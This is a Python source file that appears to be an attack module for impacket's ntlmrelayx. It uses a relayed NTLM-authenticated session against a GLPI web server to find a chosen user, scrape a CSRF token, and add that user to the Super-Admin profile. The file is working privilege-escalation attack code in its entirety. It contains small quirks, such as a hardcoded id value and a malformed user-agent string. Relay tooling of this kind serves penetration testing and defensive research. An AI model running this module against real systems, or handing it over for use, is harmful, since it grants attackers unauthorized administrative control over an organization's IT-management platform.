# /impacket/examples/ntlmrelayx/attacks/httpattacks/glpiattack.py

import re
from OpenSSL import crypto

from impacket import LOG
import urllib.parse
import random
import string

class GLPIAttack:
    
    def _run(self):
            LOG.info("Starting GLPI attack from here")
            # Getting the cookie
            self.client.request("GET", "/front/login.php")
            response = self.client.getresponse()
            response.read()
            headers = dict(response.getheaders())
            # Following first redirections
            custom_headers = {}
            glpi_cookies = self.get_glpi_cookies(response)
            while (300 <= response.status < 400) and ('Location' in headers) and ("/front/central.php" not in headers['Location']):
                glpi_cookies = self.get_glpi_cookies(response)
                custom_headers['Cookie'] = glpi_cookies if glpi_cookies else custom_headers['Cookie']
                self.client.request("GET", headers['Location'],headers=custom_headers)
                response = self.client.getresponse()
                response.read()
                headers = dict(response.getheaders())
            
            if (300 <= response.status < 400) and ('Location' in headers) and ("/front/central.php" in headers['Location']):
                glpi_cookies = self.get_glpi_cookies(response)
                custom_headers['Cookie'] = glpi_cookies if glpi_cookies else custom_headers['Cookie']
                self.client.request("GET", headers['Location'],headers=custom_headers)
                response = self.client.getresponse()
                response.read()
            else :
                LOG.error("Unexcepted GLPI response")
                return        

            # At this point we are authenticated
            if not self.config.GLPIUsername:
                LOG.error("GLPIUsername is not set, please set it with --GLPIUsername")
                return
            USERNAME_TO_PROMOTE = self.config.GLPIUsername

            # Getting the user id
            headers = {
                "Cookie": custom_headers['Cookie']
            }
            search_user_path = f"/ajax/search.php?action=display_results&searchform_id=search_1435647551&itemtype=User&glpilist_limit=15&sort%5B%5D=1&order%5B%5D=ASC&is_deleted=0&as_map=0&browse=0&criteria%5B0%5D%5Blink%5D=AND&criteria%5B0%5D%5Bfield%5D=view&criteria%5B0%5D%5Bsearchtype%5D=contains&criteria%5B0%5D%5Bvalue%5D={USERNAME_TO_PROMOTE}&start=0"
            self.client.request("GET", search_user_path, headers=headers)
            response = self.client.getresponse()
            response_data = response.read().decode(errors="ignore")

            match = re.search(r'/front/user\.form\.php\?id=(\d+)', response_data)
            if match:
                user_id = match.group(1)
                LOG.info("Great, we are admin, now we can promote the user")
            else:
                LOG.error(f"ID not found for {USERNAME_TO_PROMOTE}, maybe relayed user is not admin")
                self.client.close()
                exit()

            # Getting the CSRF token
            params = {
                "_glpi_tab": "Profile_User$1",
                "formoptions": "data-track-changes=true",
                "_target": "/front/user.form.php",
                "_itemtype": "User",
                "id": "24"
            }
            query_string = urllib.parse.urlencode(params)
            path = f"/ajax/common.tabs.php?{query_string}"

            headers = {
                "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
                "Accept": "*/*",
                "Accept-Language": "fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3",
                "Accept-Encoding": "deflate, br",
                "X-Requested-With": "XMLHttpRequest",
                "Connection": "keep-alive",
                "Cookie": custom_headers['Cookie']
            }

            # Getting the CSRF token
            self.client.request("GET", path, headers=headers)
            response = self.client.getresponse()
            response_data = response.read().decode(errors="ignore")
            match = re.search(r'name="_glpi_csrf_token"\s+value="([^"]+)"', response_data)
            if match:
                csrf_token = match.group(1)
            else:
                LOG.error("CSRF Token not found.")
                self.client.close()
                exit()

            # Adding the user to the Super-Admin group
            LOG.info(f"Promoting the user {USERNAME_TO_PROMOTE} to Super-Admin, enjoy !")
            post_path = "/front/profile_user.form.php"
            post_params = {
                "users_id": user_id,  
                "entities_id": "0",
                "profiles_id": "4", 
                "is_recursive": "0",
                "add": "Ajouter",
                "_glpi_csrf_token": csrf_token
            }
            post_data = urllib.parse.urlencode(post_params)

            post_headers = {
                "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139m.0",
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                "Accept-Language": "fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3",
                "Accept-Encoding": "gzip, deflate, br",
                "Content-Type": "application/x-www-form-urlencoded",
                "Connection": "keep-alive",
                "Cookie": custom_headers['Cookie'],
                "Upgrade-Insecure-Requests": "1",
                "Priority": "u=0, i"
            }

            self.client.request("POST", post_path, body=post_data, headers=post_headers)
            response = self.client.getresponse()
            response_data = response.read().decode(errors="ignore")
            self.client.close()
            


    def random_string(self, length=8):
        letters = string.ascii_letters + string.digits
        return ''.join(random.choice(letters) for _ in range(length))
    

    def get_glpi_cookies(self, response):
        headers = dict(response.getheaders())
        for header in headers:
            if header == 'Set-Cookie' and "glpi" in headers['Set-Cookie']:
                raw_cookie = headers['Set-Cookie']
                cookie = raw_cookie.split(';')[0]
                return cookie
        return {}

    def form_field(self, name, value="", delimiter=""):
        return f"{delimiter}\r\nContent-Disposition: form-data; name=\"{name}\"\r\n\r\n{value}"